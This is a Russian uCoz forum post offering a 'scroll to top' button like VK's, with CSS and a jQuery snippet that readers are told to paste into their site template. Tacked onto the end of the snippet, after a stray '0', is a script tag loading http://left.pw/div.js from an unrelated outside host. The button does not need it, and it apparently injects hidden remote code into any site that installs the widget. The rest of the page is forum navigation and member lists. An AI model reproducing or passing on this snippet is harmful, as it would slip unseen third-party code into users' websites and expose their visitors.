Воскресенье, 29.12.2024, 02:08:43
Главная | Форум | Файлы |
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Up на подобии как в вк
SidjeuДата: Вторник, 09.09.2014, 21:04:13 | Сообщение # 1
Лейтенант
Группа: Пользователи
Сообщений: 64
Репутация: 0
Статус: Offline
Скрин: http://s018.radikal.ru/i504/1408/61/d93343223461.png

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}   
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">   
jQuery(document).ready(function(){   
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");   
jQuery(window).scroll(function(){   
if (jQuery(this).scrollTop() > 350) {   
jQuery('.scrolltotop').fadeIn();   
} else {   
jQuery('.scrolltotop').fadeOut();   
}   
});   
jQuery('.scrolltotop').click(function(){   
jQuery("html, body").animate({ scrollTop: 0 }, 600);   
return false;   
});   
});0   
</script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме


ludochka
 
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Последние обновленные темы Самые популярные темы Самые активные Новые участники
  • видеонаблюдение (0)
  • видеонаблюдение (0)
  • Up на подобии как в вк (0)
  • Cоц закладки для сайта (0)
  • Полный мини-чат для uCoz (0)
  • Кнопка наверх в виде ракеты с эффектом огня (0)
  • да (0)
  • да (0)
  • да (0)
  • да (0)
  • Набор журналистов на сайт (8)
  • Продажа сайта и домена. (5)
  • Windows XP Professional SP3 Russian (Оригинальный образ) (4)
  • Chablon взломали? (3)
  • горизонтальный мини-профиль (2)
  • WIX - Free Website Builder (2)
  • Работа на дому. Проверенные способы заработка (1)
  • Репутация как в контакте для ucoz (1)
  • Слова гоняющиеся за курсором мышки (1)
  • Novak (1)
  • Sidjeu
  • ZeN
  • KosTya
  • axper4ik
  • П$И}{ОПАТ
  • bars96
  • jasminka
  • admin
  • MegosenD
  • sergeevich
  • Alexeynef
  • Predator_wom
  • FunkFunk
  • Ucozoff
  • feramon
  • casino
  • ThomasFary
  • TaylorGep
  • hhhgfcgrrr
  • MiguelSa
  • GavgavReak13:01:46
    GlebushkaCit12:28:35
    zarytgal11:29:30
    RobertKem11:00:20
    AltisOl09:01:05
    WilliamKt06:02:12
    WilliamFturo05:34:34
    Abneellatom04:49:20
    Ifxvqdq04:01:54
    jackau6902:57:05
    Passhikinsky01:53:25
    Grailafagka00:48:44
    Barakulaei23:18:47
    MaffOl22:29:37
    WallaceAnok22:17:26
    CarmenDito21:58:24
    VictorGof20:40:52
    KarrlaEn18:43:20
    Serjojef18:21:03
    Wilargka18:11:39


    Сайт управляется системой uCoz